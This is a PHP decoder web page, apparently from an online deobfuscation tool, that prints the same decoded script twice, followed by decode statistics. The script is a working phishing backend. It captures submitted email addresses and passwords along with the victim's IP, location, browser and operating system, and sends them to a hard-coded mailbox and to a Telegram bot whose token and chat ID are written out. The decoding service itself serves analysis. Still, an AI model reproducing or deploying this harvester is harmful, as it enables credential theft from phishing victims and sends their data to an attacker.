Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php date_default_timezone_set('America/New_York'); function getUserIP() { if ..

Decoded Output download

<?php 
 
date_default_timezone_set('America/New_York'); 
 
function getUserIP() { 
    if (!empty($_SERVER['HTTP_CLIENT_IP'])) { 
        $ip = $_SERVER['HTTP_CLIENT_IP']; 
    } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { 
        $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; 
    } else { 
        $ip = $_SERVER['REMOTE_ADDR']; 
    } 
    return $ip; 
} 
 
function getUserLocation($ip) { 
    $details = json_decode(file_get_contents("http://ipinfo.io/{$ip}/json")); 
    $country = $details->country; 
    $city = $details->city; 
    $region = $details->region; 
    return "{$ip}, {$country} ({$city}, {$region})"; 
} 
 
function getUserBrowser() { 
    $user_agent = $_SERVER['HTTP_USER_AGENT']; 
    $browser = "Unknown"; 
    if (strpos($user_agent, 'MSIE') !== FALSE) { 
        $browser = 'Internet Explorer'; 
    } elseif (strpos($user_agent, 'Trident') !== FALSE) { 
        $browser = 'Internet Explorer'; 
    } elseif (strpos($user_agent, 'Edge') !== FALSE) { 
        $browser = 'Microsoft Edge'; 
    } elseif (strpos($user_agent, 'Firefox') !== FALSE) { 
        $browser = 'Mozilla Firefox'; 
    } elseif (strpos($user_agent, 'Chrome') !== FALSE) { 
        $browser = 'Google Chrome'; 
    } elseif (strpos($user_agent, 'Safari') !== FALSE) { 
        $browser = 'Safari'; 
    } elseif (strpos($user_agent, 'Opera') !== FALSE) { 
        $browser = 'Opera'; 
    } 
    return $browser; 
} 
 
function getUserOS() { 
    $user_agent = $_SERVER['HTTP_USER_AGENT']; 
    $os_platform = "Unknown"; 
    if (strpos($user_agent, 'Windows NT 10.0') !== FALSE) { 
        $os_platform = 'Windows 10'; 
    } elseif (strpos($user_agent, 'Windows NT 6.3') !== FALSE) { 
        $os_platform = 'Windows 8.1'; 
    } elseif (strpos($user_agent, 'Windows NT 6.2') !== FALSE) { 
        $os_platform = 'Windows 8'; 
    } elseif (strpos($user_agent, 'Windows NT 6.1') !== FALSE) { 
        $os_platform = 'Windows 7'; 
    } elseif (strpos($user_agent, 'Windows NT 6.0') !== FALSE) { 
        $os_platform = 'Windows Vista'; 
    } elseif (strpos($user_agent, 'Windows NT 5.1') !== FALSE) { 
        $os_platform = 'Windows XP'; 
    } elseif (strpos($user_agent, 'Windows NT 5.0') !== FALSE) { 
        $os_platform = 'Windows 2000'; 
    } elseif (strpos($user_agent, 'Macintosh') !== FALSE) { 
        $os_platform = 'Macintosh'; 
    } elseif (strpos($user_agent, 'Linux') !== FALSE) { 
        $os_platform = 'Linux'; 
    } 
    return $os_platform; 
} 
 
$to = '[email protected]'; 
$telegramToken = '7412440330:AAHHZYo6eiwooUdkz5cGqhOuPTBFkCQj_x4'; 
$telegramChatID = '1918139920'; 
 
 
if ($_SERVER['REQUEST_METHOD'] === 'POST') { 
    $username = $_POST['email']; 
    $password = $_POST['password']; 
    $date = date('l d, F Y (h:i:s A)'); 
    $browser = getUserBrowser(); 
    $os = getUserOS(); 
    $userIP = getUserIP(); 
    $userLocation = getUserLocation($userIP); 
 
    $message = "Username: {$username}
"; 
    $message .= "Password: {$password}
"; 
    $message .= "Browser: {$browser}
"; 
    $message .= "Operating System: {$os}
"; 
    $message .= "User IP: {$userLocation}
"; 
    $message .= "Submitted On: {$date}"; 
    $subject = "You got mail from {$userIP}"; 
 
    mail($to, $subject, $message); 
 
    $telegramURL = "https://api.telegram.org/bot$telegramToken/sendMessage"; 
    $telegramData = [ 
        'chat_id' => $telegramChatID, 
        'text' => $message 
    ]; 
    $options = [ 
        'http' => [ 
            'header'  => "Content-type: application/x-www-form-urlencoded
", 
            'method'  => 'POST', 
            'content' => http_build_query($telegramData), 
        ], 
    ]; 
    $context  = stream_context_create($options); 
    file_get_contents($telegramURL, false, $context); 
 
    echo 'success'; 
} 
 ?>

Did this file decode correctly?

Original Code

<?php

date_default_timezone_set('America/New_York');

function getUserIP() {
    if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
        $ip = $_SERVER['HTTP_CLIENT_IP'];
    } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
    } else {
        $ip = $_SERVER['REMOTE_ADDR'];
    }
    return $ip;
}

function getUserLocation($ip) {
    $details = json_decode(file_get_contents("http://ipinfo.io/{$ip}/json"));
    $country = $details->country;
    $city = $details->city;
    $region = $details->region;
    return "{$ip}, {$country} ({$city}, {$region})";
}

function getUserBrowser() {
    $user_agent = $_SERVER['HTTP_USER_AGENT'];
    $browser = "Unknown";
    if (strpos($user_agent, 'MSIE') !== FALSE) {
        $browser = 'Internet Explorer';
    } elseif (strpos($user_agent, 'Trident') !== FALSE) {
        $browser = 'Internet Explorer';
    } elseif (strpos($user_agent, 'Edge') !== FALSE) {
        $browser = 'Microsoft Edge';
    } elseif (strpos($user_agent, 'Firefox') !== FALSE) {
        $browser = 'Mozilla Firefox';
    } elseif (strpos($user_agent, 'Chrome') !== FALSE) {
        $browser = 'Google Chrome';
    } elseif (strpos($user_agent, 'Safari') !== FALSE) {
        $browser = 'Safari';
    } elseif (strpos($user_agent, 'Opera') !== FALSE) {
        $browser = 'Opera';
    }
    return $browser;
}

function getUserOS() {
    $user_agent = $_SERVER['HTTP_USER_AGENT'];
    $os_platform = "Unknown";
    if (strpos($user_agent, 'Windows NT 10.0') !== FALSE) {
        $os_platform = 'Windows 10';
    } elseif (strpos($user_agent, 'Windows NT 6.3') !== FALSE) {
        $os_platform = 'Windows 8.1';
    } elseif (strpos($user_agent, 'Windows NT 6.2') !== FALSE) {
        $os_platform = 'Windows 8';
    } elseif (strpos($user_agent, 'Windows NT 6.1') !== FALSE) {
        $os_platform = 'Windows 7';
    } elseif (strpos($user_agent, 'Windows NT 6.0') !== FALSE) {
        $os_platform = 'Windows Vista';
    } elseif (strpos($user_agent, 'Windows NT 5.1') !== FALSE) {
        $os_platform = 'Windows XP';
    } elseif (strpos($user_agent, 'Windows NT 5.0') !== FALSE) {
        $os_platform = 'Windows 2000';
    } elseif (strpos($user_agent, 'Macintosh') !== FALSE) {
        $os_platform = 'Macintosh';
    } elseif (strpos($user_agent, 'Linux') !== FALSE) {
        $os_platform = 'Linux';
    }
    return $os_platform;
}

$to = '[email protected]';
$telegramToken = '7412440330:AAHHZYo6eiwooUdkz5cGqhOuPTBFkCQj_x4';
$telegramChatID = '1918139920';


if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $username = $_POST['email'];
    $password = $_POST['password'];
    $date = date('l d, F Y (h:i:s A)');
    $browser = getUserBrowser();
    $os = getUserOS();
    $userIP = getUserIP();
    $userLocation = getUserLocation($userIP);

    $message = "Username: {$username}\n";
    $message .= "Password: {$password}\n";
    $message .= "Browser: {$browser}\n";
    $message .= "Operating System: {$os}\n";
    $message .= "User IP: {$userLocation}\n";
    $message .= "Submitted On: {$date}";
    $subject = "You got mail from {$userIP}";

    mail($to, $subject, $message);

    $telegramURL = "https://api.telegram.org/bot$telegramToken/sendMessage";
    $telegramData = [
        'chat_id' => $telegramChatID,
        'text' => $message
    ];
    $options = [
        'http' => [
            'header'  => "Content-type: application/x-www-form-urlencoded\r\n",
            'method'  => 'POST',
            'content' => http_build_query($telegramData),
        ],
    ];
    $context  = stream_context_create($options);
    file_get_contents($telegramURL, false, $context);

    echo 'success';
}

Function Calls

None

Variables

None

Stats

MD5 a3db7207ef13270d270656a71fc04152
Eval Count 0
Decode Time 59 ms